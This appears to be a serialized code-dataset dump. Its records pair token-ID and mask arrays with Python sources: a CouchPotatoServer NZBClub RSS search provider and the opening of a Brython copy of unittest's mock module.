63,
3269,
63,
3397,
63,
31613,
63,
89,
272,
1995,
1104,
63,
2271,
63,
785,
272,
1995,
1104,
63,
10646,
63,
3269,
63,
5808,
63,
277,
339,
327,
2670,
626,
1006,
8943,
1995,
315,
20889,
3788,
1380,
272,
327,
28161,
641,
2701,
13148,
272,
1995,
1104,
63,
10646,
63,
1667,
63,
576,
63,
3431,
339,
340,
536,
440,
315,
445,
23264,
63,
1093,
11265,
15717,
435,
788,
51,
15832,
27907,
2565,
267,
327,
428,
15832,
27907,
365,
2222,
13,
30709,
12,
267,
327,
1937,
4976,
327,
2260,
1344,
267,
327,
8059,
13,
31384,
1159,
298,
4711,
2,
2529,
1323,
436,
1488,
267,
1995,
1104,
63,
7379,
63,
20249,
339,
340,
536,
440,
315,
788,
8499,
2699,
2565,
267,
327,
1379,
626,
1006,
23155,
1104,
3932,
1324,
367,
16046,
1159,
436,
315,
2319,
267,
1995,
1104,
63,
10646,
63,
4304,
63,
4904,
339,
340,
536,
440,
315,
788,
26756,
3498,
2565,
267,
327,
7600,
1,
267,
327,
315,
6770,
17131,
3498,
1,
267,
1995,
1104,
63,
10646,
63,
14658,
63,
1162,
272,
340,
2688,
8,
13183,
12,
283,
22502,
338,
1399,
735,
267,
1995,
1104,
63,
22502,
338,
1399,
63,
30477,
339,
1995,
1104,
63,
8627,
63,
4421,
63,
576,
339,
327,
1379,
626,
23155,
883,
506,
18731,
12,
436,
5403,
18731,
272,
327,
8120,
314,
2011,
6385,
465,
2544,
14,
272,
1995,
1104,
63,
10646,
63,
8092,
421,
199,
318,
485,
11481,
63,
14720,
63,
8625,
8,
354,
12,
8465,
5541,
304,
272,
327,
511,
1021,
6069,
883,
2429,
2222,
13,
1144,
666,
272,
1995,
1104,
63,
14720,
63,
576,
63,
1397,
63,
290,
63,
1144,
272,
327,
511,
19137,
28161,
641,
282,
2849,
1768,
3544,
372,
642,
1768,
272,
1995,
1104,
63,
27628,
63,
368,
63,
1302,
272,
1995,
1104,
63,
27628,
63,
2888,
272,
1995,
1104,
63,
10646,
63,
6672,
63,
3269,
63,
78,
63,
3179,
272,
327,
5678,
17754,
5343,
272,
1995,
1104,
63,
27628,
63,
2834,
272,
340,
334,
354,
440,
315,
2097,
30233,
16956,
16170,
401,
298,
4314,
11376,
401,
298,
4314,
51,
657,
5384,
937,
267,
327,
3254,
2005,
1013,
1863,
543,
446,
17,
1768,
288,
436,
536,
440,
315,
2097,
872,
24116,
8508,
401,
2490,
298,
7426,
3987,
8508,
21473,
288,
327,
2136,
2793,
1133,
746,
282,
5721,
315,
3520,
19137,
12,
465,
288,
327,
314,
2763,
612,
3217,
365,
1202,
701,
314,
11257,
10329,
14,
398,
1995,
1104,
63,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
arvinsingla/CouchPotatoServer
|
couchpotato/core/media/_base/providers/nzb/nzbclub.py
|
36
|
4241
|
import time
from bs4 import BeautifulSoup
from couchpotato.core.helpers.encoding import toUnicode
from couchpotato.core.helpers.rss import RSS
from couchpotato.core.helpers.variable import tryInt
from couchpotato.core.logger import CPLog
from couchpotato.core.media._base.providers.nzb.base import NZBProvider
from dateutil.parser import parse
log = CPLog(__name__)
class Base(NZBProvider, RSS):
urls = {
'search': 'https://www.nzbclub.com/nzbfeeds.aspx?%s',
}
http_time_between_calls = 4 # seconds
def _search(self, media, quality, results):
nzbs = self.getRSSData(self.urls['search'] % self.buildUrl(media))
for nzb in nzbs:
nzbclub_id = tryInt(self.getTextElement(nzb, "link").split('/nzb_view/')[1].split('/')[0])
enclosure = self.getElement(nzb, "enclosure").attrib
size = enclosure['length']
date = self.getTextElement(nzb, "pubDate")
def extra_check(item):
full_description = self.getCache('nzbclub.%s' % nzbclub_id, item['detail_url'], cache_timeout = 25920000)
for ignored in ['ARCHIVE inside ARCHIVE', 'Incomplete', 'repair impossible']:
if ignored in full_description:
log.info('Wrong: Seems to be passworded or corrupted files: %s', item['name'])
return False
return True
results.append({
'id': nzbclub_id,
'name': toUnicode(self.getTextElement(nzb, "title")),
'age': self.calculateAge(int(time.mktime(parse(date).timetuple()))),
'size': tryInt(size) / 1024 / 1024,
'url': enclosure['url'].replace(' ', '_'),
'detail_url': self.getTextElement(nzb, "link"),
'get_more_info': self.getMoreInfo,
'extra_check': extra_check
})
def getMoreInfo(self, item):
full_description = self.getCache('nzbclub.%s' % item['id'], item['detail_url'], cache_timeout = 25920000)
html = BeautifulSoup(full_description)
nfo_pre = html.find('pre', attrs = {'class': 'nfo'})
description = toUnicode(nfo_pre.text) if nfo_pre else ''
item['description'] = description
return item
def extraCheck(self, item):
full_description = self.getCache('nzbclub.%s' % item['id'], item['detail_url'], cache_timeout = 25920000)
if 'ARCHIVE inside ARCHIVE' in full_description:
log.info('Wrong: Seems to be passworded files: %s', item['name'])
return False
return True
config = [{
'name': 'nzbclub',
'groups': [
{
'tab': 'searcher',
'list': 'nzb_providers',
'name': 'NZBClub',
'description': 'Free provider, less accurate. See <a href="https://www.nzbclub.com/">NZBClub</a>',
'wizard': True,
'icon': 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACEUlEQVQ4y3VSMWgUQRR9/8/s7OzeJSdnTsVGghLEYBNQjBpQiRBFhIB2EcHG1kbs0murhZAmVocExEZQ0c7CxkLINYcJJpoYj9wZcnu72fF21uJSXMzuhyne58/j/fcf4b+KokgBIOSU53lxP5b9oNVqDT36dH+5UjoiKvIwPFEEgWBshGZ3E7/NOupL9fMjx0e+ZhKsrq+c/FPZKJi0w4FsQXMBDEJsd7BNW9h2tuyP9vfTALIJkMIu1hYRtINM+dpzcWc0sbkreK4fUEogyraAmKGF3+7vcT/wtR9QwkCabSAzQQuvk0uglAo5YaQ5DASGYjfMXcHVOqKu6NmR7iehlKAdHWUqWPv1c3i+9uwVdRlEBGaGEAJCCrDo9ShhvF6qPq8tL57bp+DbRn2sHtUuCY9YphLMu5921VhrwYJ5tbt0tt6sjQP4vEfB2Ikz7/ytwbeR6ljHkXCUA6UcOLtPOg4MYhtH8ZcLw5er+xQMDAwEURRNl96X596Y6oxFwsw9fmtTOAr2Ik19nL365FZpsLSdnQPPM8aYewc+lDcX4rkHqbQMAGTJXulOLzycmr1bKBTi3DOGYagajcahiaOT89fbM0/dxEsUu3aidfPljWO3HzebzYNBELi5Z5RSJlrrHd/3w8lT114MrVTWOn875fHRiYVisRhorWMpZXdvNnLKGCOstb0AMlulVJI19w/+nceU4D0aCwAAAABJRU5ErkJggg==',
'options': [
{
'name': 'enabled',
'type': 'enabler',
},
{
'name': 'extra_score',
'advanced': True,
'label': 'Extra Score',
'type': 'int',
'default': 0,
'description': 'Starting score for each release found via this provider.',
}
],
},
],
}]
|
gpl-3.0
|
[
646,
900,
199,
199,
504,
9922,
20,
492,
17132,
199,
504,
28877,
30780,
14,
1018,
14,
7546,
14,
2991,
492,
370,
7087,
199,
504,
28877,
30780,
14,
1018,
14,
7546,
14,
13614,
492,
30331,
199,
504,
28877,
30780,
14,
1018,
14,
7546,
14,
1975,
492,
862,
3241,
199,
504,
28877,
30780,
14,
1018,
14,
2921,
492,
19701,
2445,
199,
504,
28877,
30780,
14,
1018,
14,
4603,
423,
1095,
14,
9710,
14,
15291,
66,
14,
1095,
492,
653,
58,
34,
6663,
199,
504,
22208,
14,
2087,
492,
2198,
421,
199,
793,
275,
19701,
2445,
3460,
354,
3368,
421,
199,
533,
3523,
8,
19011,
34,
6663,
12,
30331,
304,
339,
8187,
275,
469,
267,
283,
1733,
356,
283,
2859,
921,
1544,
14,
15291,
66,
429,
456,
14,
957,
15,
15291,
66,
11522,
14,
26146,
25790,
83,
297,
272,
789,
339,
1455,
63,
521,
63,
13007,
63,
5352,
275,
841,
221,
327,
4696,
339,
347,
485,
1733,
8,
277,
12,
5898,
12,
11030,
12,
2058,
304,
398,
302,
90,
1533,
275,
291,
14,
362,
22786,
1451,
8,
277,
14,
3603,
459,
1733,
418,
450,
291,
14,
1506,
6417,
8,
4603,
430,
398,
367,
302,
20176,
315,
302,
90,
1533,
26,
953,
302,
20176,
429,
456,
63,
344,
275,
862,
3241,
8,
277,
14,
25506,
2162,
8,
15291,
66,
12,
298,
1073,
3471,
1294,
2336,
15291,
66,
63,
1345,
15,
5832,
17,
1055,
1294,
30746,
16,
566,
288,
655,
13008,
275,
291,
14,
21720,
8,
15291,
66,
12,
298,
287,
13008,
3471,
6640,
288,
1568,
275,
655,
13008,
459,
1267,
418,
288,
1434,
275,
291,
14,
25506,
2162,
8,
15291,
66,
12,
298,
5645,
2506,
531,
953,
347,
2402,
63,
1074,
8,
1053,
304,
355,
2615,
63,
1802,
275,
291,
14,
362,
4437,
360,
15291,
66,
429,
456,
4111,
83,
7,
450,
302,
20176,
429,
456,
63,
344,
12,
1242,
459,
5506,
63,
633,
995,
2581,
63,
2593,
275,
499,
14098,
993,
9,
2234,
367,
5525,
315,
788,
28800,
6272,
4160,
1244,
5399,
297,
283,
31962,
297,
283,
25279,
26847,
2565,
490,
340,
5525,
315,
2615,
63,
1802,
26,
717,
943,
14,
815,
360,
14858,
26,
1666,
706,
370,
506,
986,
584,
770,
503,
1970,
15692,
1584,
26,
450,
83,
297,
1242,
459,
354,
1105,
717,
372,
756,
2234,
372,
715,
953,
2058,
14,
740,
2561,
355,
283,
344,
356,
302,
20176,
429,
456,
63,
344,
12,
355,
283,
354,
356,
370,
7087,
8,
277,
14,
25506,
2162,
8,
15291,
66,
12,
298,
1213,
8150,
355,
283,
474,
356,
291,
14,
12063,
20480,
8,
442,
8,
521,
14,
23456,
8,
1122,
8,
602,
680,
22309,
4059,
395,
355,
283,
890,
356,
862,
3241,
8,
890,
9,
1182,
6619,
1182,
6619,
12,
355,
283,
633,
356,
655,
13008,
459,
633,
2278,
1814,
360,
1656,
2513,
659,
355,
283,
5506,
63,
633,
356,
291,
14,
25506,
2162,
8,
15291,
66,
12,
298,
1073,
1288,
355,
283,
362,
63,
6878,
63,
815,
356,
291,
14,
362,
11053,
2354,
12,
355,
283,
2911,
63,
1074,
356,
2402,
63,
1074,
288,
3828,
339,
347,
664,
11053,
2354,
8,
277,
12,
1242,
304,
267,
2615,
63,
1802,
275,
291,
14,
362,
4437,
360,
15291,
66,
429,
456,
4111,
83,
7,
450,
1242,
459,
344,
995,
1242,
459,
5506,
63,
633,
995,
2581,
63,
2593,
275,
499,
14098,
993,
9,
267,
3517,
275,
17132,
8,
2861,
63,
1802,
9,
267,
302,
545,
63,
657,
275,
3517,
14,
1623,
360,
657,
297,
3290,
275,
791,
533,
356,
283,
78,
545,
3071,
267,
1369,
275,
370,
7087,
8,
78,
545,
63,
657,
14,
505,
9,
340,
302,
545,
63,
657,
587,
2125,
398,
1242,
459,
1802,
418,
275,
1369,
267,
372,
1242,
339,
347,
2402,
1799,
8,
277,
12,
1242,
304,
267,
2615,
63,
1802,
275,
291,
14,
362,
4437,
360,
15291,
66,
429,
456,
4111,
83,
7,
450,
1242,
459,
344,
995,
1242,
459,
5506,
63,
633,
995,
2581,
63,
2593,
275,
499,
14098,
993,
9,
398,
340,
283,
28800,
6272,
4160,
1244,
5399,
7,
315,
2615,
63,
1802,
26,
288,
943,
14,
815,
360,
14858,
26,
1666,
706,
370,
506,
986,
584,
770,
1584,
26,
450,
83,
297,
1242,
459,
354,
1105,
288,
372,
756,
398,
372,
715,
421,
199,
888,
275,
8910,
272,
283,
354,
356,
283,
15291,
66,
429,
456,
297,
272,
283,
2634,
356,
359,
267,
469,
288,
283,
2902,
356,
283,
24994,
297,
288,
283,
513,
356,
283,
15291,
66,
63,
9710,
297,
288,
283,
354,
356,
283,
19011,
34,
1968,
456,
297,
288,
283,
1802,
356,
283,
10146,
5022,
12,
6656,
23189,
14,
1666,
665,
65,
4369,
628,
2859,
921,
1544,
14,
15291,
66,
429,
456,
14,
957,
26049,
19011,
34,
1968,
456,
1108,
65,
4206,
288,
283,
9819,
356,
715,
12,
288,
283,
4677,
356,
283,
73,
27966,
726,
87,
16,
14634,
1939,
10985,
5622,
53,
72,
23539,
71,
31723,
6151,
20152,
3263,
57,
6151,
70,
24,
15,
25,
72,
2276,
4121,
18505,
17420,
54,
49,
20,
89,
19,
54,
4029,
55,
71,
53,
49,
13381,
25,
15,
24,
15,
83,
23,
47,
806,
11378,
4272,
23433,
29355,
3561,
906,
57,
18273,
49,
74,
34,
80,
19910,
50,
12659,
72,
2100,
18,
30478,
31442,
17,
75,
1533,
16,
77,
300,
72,
21959,
25489,
679,
920,
37,
58,
49,
16,
67,
23,
35,
28351,
6143,
57,
67,
29211,
555,
57,
74,
25,
87,
58,
67,
4850,
2819,
70,
38,
2025,
85,
11378,
13901,
90,
85,
3577,
685,
2010,
15,
74,
15,
70,
2177,
20,
66,
11,
43,
745,
71,
34,
2090,
6195,
2481,
23605,
48,
21,
66,
25,
79,
7312,
81,
7438,
1344,
68,
40,
11,
21,
53,
743,
73,
43,
86,
41,
87,
48,
5100,
29496,
24819,
609,
29847,
19,
37,
23,
15,
2826,
384,
44,
25,
70,
20958,
88,
16,
69,
11,
12674,
43,
83,
5098,
11,
67,
15,
17095,
58,
43,
16911,
16,
87,
20,
19239,
49,
56,
4567,
1093,
42,
3893,
23,
18273,
55,
25,
72,
18,
10963,
89,
48,
25,
19963,
52,
748,
41,
42,
75,
10709,
85,
17,
72,
3763,
84,
568,
45,
11,
5780,
26698,
55,
67,
16,
9264,
75,
264,
43,
20,
70,
4187,
974,
89,
345,
24566,
14634,
38,
19,
11
] |
[
900,
199,
199,
504,
9922,
20,
492,
17132,
199,
504,
28877,
30780,
14,
1018,
14,
7546,
14,
2991,
492,
370,
7087,
199,
504,
28877,
30780,
14,
1018,
14,
7546,
14,
13614,
492,
30331,
199,
504,
28877,
30780,
14,
1018,
14,
7546,
14,
1975,
492,
862,
3241,
199,
504,
28877,
30780,
14,
1018,
14,
2921,
492,
19701,
2445,
199,
504,
28877,
30780,
14,
1018,
14,
4603,
423,
1095,
14,
9710,
14,
15291,
66,
14,
1095,
492,
653,
58,
34,
6663,
199,
504,
22208,
14,
2087,
492,
2198,
421,
199,
793,
275,
19701,
2445,
3460,
354,
3368,
421,
199,
533,
3523,
8,
19011,
34,
6663,
12,
30331,
304,
339,
8187,
275,
469,
267,
283,
1733,
356,
283,
2859,
921,
1544,
14,
15291,
66,
429,
456,
14,
957,
15,
15291,
66,
11522,
14,
26146,
25790,
83,
297,
272,
789,
339,
1455,
63,
521,
63,
13007,
63,
5352,
275,
841,
221,
327,
4696,
339,
347,
485,
1733,
8,
277,
12,
5898,
12,
11030,
12,
2058,
304,
398,
302,
90,
1533,
275,
291,
14,
362,
22786,
1451,
8,
277,
14,
3603,
459,
1733,
418,
450,
291,
14,
1506,
6417,
8,
4603,
430,
398,
367,
302,
20176,
315,
302,
90,
1533,
26,
953,
302,
20176,
429,
456,
63,
344,
275,
862,
3241,
8,
277,
14,
25506,
2162,
8,
15291,
66,
12,
298,
1073,
3471,
1294,
2336,
15291,
66,
63,
1345,
15,
5832,
17,
1055,
1294,
30746,
16,
566,
288,
655,
13008,
275,
291,
14,
21720,
8,
15291,
66,
12,
298,
287,
13008,
3471,
6640,
288,
1568,
275,
655,
13008,
459,
1267,
418,
288,
1434,
275,
291,
14,
25506,
2162,
8,
15291,
66,
12,
298,
5645,
2506,
531,
953,
347,
2402,
63,
1074,
8,
1053,
304,
355,
2615,
63,
1802,
275,
291,
14,
362,
4437,
360,
15291,
66,
429,
456,
4111,
83,
7,
450,
302,
20176,
429,
456,
63,
344,
12,
1242,
459,
5506,
63,
633,
995,
2581,
63,
2593,
275,
499,
14098,
993,
9,
2234,
367,
5525,
315,
788,
28800,
6272,
4160,
1244,
5399,
297,
283,
31962,
297,
283,
25279,
26847,
2565,
490,
340,
5525,
315,
2615,
63,
1802,
26,
717,
943,
14,
815,
360,
14858,
26,
1666,
706,
370,
506,
986,
584,
770,
503,
1970,
15692,
1584,
26,
450,
83,
297,
1242,
459,
354,
1105,
717,
372,
756,
2234,
372,
715,
953,
2058,
14,
740,
2561,
355,
283,
344,
356,
302,
20176,
429,
456,
63,
344,
12,
355,
283,
354,
356,
370,
7087,
8,
277,
14,
25506,
2162,
8,
15291,
66,
12,
298,
1213,
8150,
355,
283,
474,
356,
291,
14,
12063,
20480,
8,
442,
8,
521,
14,
23456,
8,
1122,
8,
602,
680,
22309,
4059,
395,
355,
283,
890,
356,
862,
3241,
8,
890,
9,
1182,
6619,
1182,
6619,
12,
355,
283,
633,
356,
655,
13008,
459,
633,
2278,
1814,
360,
1656,
2513,
659,
355,
283,
5506,
63,
633,
356,
291,
14,
25506,
2162,
8,
15291,
66,
12,
298,
1073,
1288,
355,
283,
362,
63,
6878,
63,
815,
356,
291,
14,
362,
11053,
2354,
12,
355,
283,
2911,
63,
1074,
356,
2402,
63,
1074,
288,
3828,
339,
347,
664,
11053,
2354,
8,
277,
12,
1242,
304,
267,
2615,
63,
1802,
275,
291,
14,
362,
4437,
360,
15291,
66,
429,
456,
4111,
83,
7,
450,
1242,
459,
344,
995,
1242,
459,
5506,
63,
633,
995,
2581,
63,
2593,
275,
499,
14098,
993,
9,
267,
3517,
275,
17132,
8,
2861,
63,
1802,
9,
267,
302,
545,
63,
657,
275,
3517,
14,
1623,
360,
657,
297,
3290,
275,
791,
533,
356,
283,
78,
545,
3071,
267,
1369,
275,
370,
7087,
8,
78,
545,
63,
657,
14,
505,
9,
340,
302,
545,
63,
657,
587,
2125,
398,
1242,
459,
1802,
418,
275,
1369,
267,
372,
1242,
339,
347,
2402,
1799,
8,
277,
12,
1242,
304,
267,
2615,
63,
1802,
275,
291,
14,
362,
4437,
360,
15291,
66,
429,
456,
4111,
83,
7,
450,
1242,
459,
344,
995,
1242,
459,
5506,
63,
633,
995,
2581,
63,
2593,
275,
499,
14098,
993,
9,
398,
340,
283,
28800,
6272,
4160,
1244,
5399,
7,
315,
2615,
63,
1802,
26,
288,
943,
14,
815,
360,
14858,
26,
1666,
706,
370,
506,
986,
584,
770,
1584,
26,
450,
83,
297,
1242,
459,
354,
1105,
288,
372,
756,
398,
372,
715,
421,
199,
888,
275,
8910,
272,
283,
354,
356,
283,
15291,
66,
429,
456,
297,
272,
283,
2634,
356,
359,
267,
469,
288,
283,
2902,
356,
283,
24994,
297,
288,
283,
513,
356,
283,
15291,
66,
63,
9710,
297,
288,
283,
354,
356,
283,
19011,
34,
1968,
456,
297,
288,
283,
1802,
356,
283,
10146,
5022,
12,
6656,
23189,
14,
1666,
665,
65,
4369,
628,
2859,
921,
1544,
14,
15291,
66,
429,
456,
14,
957,
26049,
19011,
34,
1968,
456,
1108,
65,
4206,
288,
283,
9819,
356,
715,
12,
288,
283,
4677,
356,
283,
73,
27966,
726,
87,
16,
14634,
1939,
10985,
5622,
53,
72,
23539,
71,
31723,
6151,
20152,
3263,
57,
6151,
70,
24,
15,
25,
72,
2276,
4121,
18505,
17420,
54,
49,
20,
89,
19,
54,
4029,
55,
71,
53,
49,
13381,
25,
15,
24,
15,
83,
23,
47,
806,
11378,
4272,
23433,
29355,
3561,
906,
57,
18273,
49,
74,
34,
80,
19910,
50,
12659,
72,
2100,
18,
30478,
31442,
17,
75,
1533,
16,
77,
300,
72,
21959,
25489,
679,
920,
37,
58,
49,
16,
67,
23,
35,
28351,
6143,
57,
67,
29211,
555,
57,
74,
25,
87,
58,
67,
4850,
2819,
70,
38,
2025,
85,
11378,
13901,
90,
85,
3577,
685,
2010,
15,
74,
15,
70,
2177,
20,
66,
11,
43,
745,
71,
34,
2090,
6195,
2481,
23605,
48,
21,
66,
25,
79,
7312,
81,
7438,
1344,
68,
40,
11,
21,
53,
743,
73,
43,
86,
41,
87,
48,
5100,
29496,
24819,
609,
29847,
19,
37,
23,
15,
2826,
384,
44,
25,
70,
20958,
88,
16,
69,
11,
12674,
43,
83,
5098,
11,
67,
15,
17095,
58,
43,
16911,
16,
87,
20,
19239,
49,
56,
4567,
1093,
42,
3893,
23,
18273,
55,
25,
72,
18,
10963,
89,
48,
25,
19963,
52,
748,
41,
42,
75,
10709,
85,
17,
72,
3763,
84,
568,
45,
11,
5780,
26698,
55,
67,
16,
9264,
75,
264,
43,
20,
70,
4187,
974,
89,
345,
24566,
14634,
38,
19,
11,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
40223119/2015w13-1
|
static/Brython3.1.0-20150301-090019/Lib/unittest/mock.py
|
739
|
71473
|
# mock.py
# Test tools for mocking and patching.
# Maintained by Michael Foord
# Backport for other versions of Python available from
# http://pypi.python.org/pypi/mock
__all__ = (
'Mock',
'MagicMock',
'patch',
'sentinel',
'DEFAULT',
'ANY',
'call',
'create_autospec',
'FILTER_DIR',
'NonCallableMock',
'NonCallableMagicMock',
'mock_open',
'PropertyMock',
)
__version__ = '1.0'
import inspect
import pprint
import sys
from functools import wraps
BaseExceptions = (BaseException,)
if 'java' in sys.platform:
# jython
import java
BaseExceptions = (BaseException, java.lang.Throwable)
FILTER_DIR = True
# Workaround for issue #12370
# Without this, the __class__ properties wouldn't be set correctly
_safe_super = super
def _is_instance_mock(obj):
# can't use isinstance on Mock objects because they override __class__
# The base class for all mocks is NonCallableMock
return issubclass(type(obj), NonCallableMock)
def _is_exception(obj):
return (
isinstance(obj, BaseExceptions) or
isinstance(obj, type) and issubclass(obj, BaseExceptions)
)
class _slotted(object):
__slots__ = ['a']
DescriptorTypes = (
type(_slotted.a),
property,
)
def _getsignature(func, skipfirst, instance=False):
if isinstance(func, type) and not instance:
try:
func = func.__init__
except AttributeError:
return
skipfirst = True
elif not isinstance(func, FunctionTypes):
# for classes where instance is True we end up here too
try:
func = func.__call__
except AttributeError:
return
try:
argspec = inspect.getfullargspec(func)
except TypeError:
# C function / method, possibly inherited object().__init__
return
regargs, varargs, varkw, defaults, kwonly, kwonlydef, ann = argspec
# instance methods and classmethods need to lose the self argument
if getattr(func, '__self__', None) is not None:
regargs = regargs[1:]
if skipfirst:
# this condition and the above one are never both True - why?
regargs = regargs[1:]
signature = inspect.formatargspec(
regargs, varargs, varkw, defaults,
kwonly, kwonlydef, ann, formatvalue=lambda value: "")
return signature[1:-1], func
def _check_signature(func, mock, skipfirst, instance=False):
if not _callable(func):
return
result = _getsignature(func, skipfirst, instance)
if result is None:
return
signature, func = result
# can't use self because "self" is common as an argument name
# unfortunately even not in the first place
src = "lambda _mock_self, %s: None" % signature
checksig = eval(src, {})
_copy_func_details(func, checksig)
type(mock)._mock_check_sig = checksig
def _copy_func_details(func, funcopy):
funcopy.__name__ = func.__name__
funcopy.__doc__ = func.__doc__
# we explicitly don't copy func.__dict__ into this copy as it would
# expose original attributes that should be mocked
funcopy.__module__ = func.__module__
funcopy.__defaults__ = func.__defaults__
funcopy.__kwdefaults__ = func.__kwdefaults__
def _callable(obj):
if isinstance(obj, type):
return True
if getattr(obj, '__call__', None) is not None:
return True
return False
def _is_list(obj):
# checks for list or tuples
# XXXX badly named!
return type(obj) in (list, tuple)
def _instance_callable(obj):
"""Given an object, return True if the object is callable.
For classes, return True if instances would be callable."""
if not isinstance(obj, type):
# already an instance
return getattr(obj, '__call__', None) is not None
# *could* be broken by a class overriding __mro__ or __dict__ via
# a metaclass
for base in (obj,) + obj.__mro__:
if base.__dict__.get('__call__') is not None:
return True
return False
def _set_signature(mock, original, instance=False):
# creates a function with signature (*args, **kwargs) that delegates to a
# mock. It still does signature checking by calling a lambda with the same
# signature as the original.
if not _callable(original):
return
skipfirst = isinstance(original, type)
result = _getsignature(original, skipfirst, instance)
if result is None:
# was a C function (e.g. object().__init__ ) that can't be mocked
return
signature, func = result
src = "lambda %s: None" % signature
checksig = eval(src, {})
_copy_func_details(func, checksig)
name = original.__name__
if not name.isidentifier():
name = 'funcopy'
context = {'_checksig_': checksig, 'mock': mock}
src = """def %s(*args, **kwargs):
_checksig_(*args, **kwargs)
return mock(*args, **kwargs)""" % name
exec (src, context)
funcopy = context[name]
_setup_func(funcopy, mock)
return funcopy
def _setup_func(funcopy, mock):
funcopy.mock = mock
# can't use isinstance with mocks
if not _is_instance_mock(mock):
return
def assert_called_with(*args, **kwargs):
return mock.assert_called_with(*args, **kwargs)
def assert_called_once_with(*args, **kwargs):
return mock.assert_called_once_with(*args, **kwargs)
def assert_has_calls(*args, **kwargs):
return mock.assert_has_calls(*args, **kwargs)
def assert_any_call(*args, **kwargs):
return mock.assert_any_call(*args, **kwargs)
def reset_mock():
funcopy.method_calls = _CallList()
funcopy.mock_calls = _CallList()
mock.reset_mock()
ret = funcopy.return_value
if _is_instance_mock(ret) and not ret is mock:
ret.reset_mock()
funcopy.called = False
funcopy.call_count = 0
funcopy.call_args = None
funcopy.call_args_list = _CallList()
funcopy.method_calls = _CallList()
funcopy.mock_calls = _CallList()
funcopy.return_value = mock.return_value
funcopy.side_effect = mock.side_effect
funcopy._mock_children = mock._mock_children
funcopy.assert_called_with = assert_called_with
funcopy.assert_called_once_with = assert_called_once_with
funcopy.assert_has_calls = assert_has_calls
funcopy.assert_any_call = assert_any_call
funcopy.reset_mock = reset_mock
mock._mock_delegate = funcopy
def _is_magic(name):
return '__%s__' % name[2:-2] == name
class _SentinelObject(object):
"A unique, named, sentinel object."
def __init__(self, name):
self.name = name
def __repr__(self):
return 'sentinel.%s' % self.name
class _Sentinel(object):
"""Access attributes to return a named object, usable as a sentinel."""
def __init__(self):
self._sentinels = {}
def __getattr__(self, name):
if name == '__bases__':
# Without this help(unittest.mock) raises an exception
raise AttributeError
return self._sentinels.setdefault(name, _SentinelObject(name))
sentinel = _Sentinel()
DEFAULT = sentinel.DEFAULT
_missing = sentinel.MISSING
_deleted = sentinel.DELETED
def _copy(value):
if type(value) in (dict, list, tuple, set):
return type(value)(value)
return value
_allowed_names = set(
[
'return_value', '_mock_return_value', 'side_effect',
'_mock_side_effect', '_mock_parent', '_mock_new_parent',
'_mock_name', '_mock_new_name'
]
)
def _delegating_property(name):
_allowed_names.add(name)
_the_name = '_mock_' + name
def _get(self, name=name, _the_name=_the_name):
sig = self._mock_delegate
if sig is None:
return getattr(self, _the_name)
return getattr(sig, name)
def _set(self, value, name=name, _the_name=_the_name):
sig = self._mock_delegate
if sig is None:
self.__dict__[_the_name] = value
else:
setattr(sig, name, value)
return property(_get, _set)
class _CallList(list):
def __contains__(self, value):
if not isinstance(value, list):
return list.__contains__(self, value)
len_value = len(value)
len_self = len(self)
if len_value > len_self:
return False
for i in range(0, len_self - len_value + 1):
sub_list = self[i:i+len_value]
if sub_list == value:
return True
return False
def __repr__(self):
return pprint.pformat(list(self))
def _check_and_set_parent(parent, value, name, new_name):
if not _is_instance_mock(value):
return False
if ((value._mock_name or value._mock_new_name) or
(value._mock_parent is not None) or
(value._mock_new_parent is not None)):
return False
_parent = parent
while _parent is not None:
# setting a mock (value) as a child or return value of itself
# should not modify the mock
if _parent is value:
return False
_parent = _parent._mock_new_parent
if new_name:
value._mock_new_parent = parent
value._mock_new_name = new_name
if name:
value._mock_parent = parent
value._mock_name = name
return True
class Base(object):
_mock_return_value = DEFAULT
_mock_side_effect = None
def __init__(self, *args, **kwargs):
pass
class NonCallableMock(Base):
"""A non-callable version of `Mock`"""
def __new__(cls, *args, **kw):
# every instance has its own class
# so we can create magic methods on the
# class without stomping on other mocks
new = type(cls.__name__, (cls,), {'__doc__': cls.__doc__})
instance = object.__new__(new)
return instance
def __init__(
self, spec=None, wraps=None, name=None, spec_set=None,
parent=None, _spec_state=None, _new_name='', _new_parent=None,
**kwargs
):
if _new_parent is None:
_new_parent = parent
__dict__ = self.__dict__
__dict__['_mock_parent'] = parent
__dict__['_mock_name'] = name
__dict__['_mock_new_name'] = _new_name
__dict__['_mock_new_parent'] = _new_parent
if spec_set is not None:
spec = spec_set
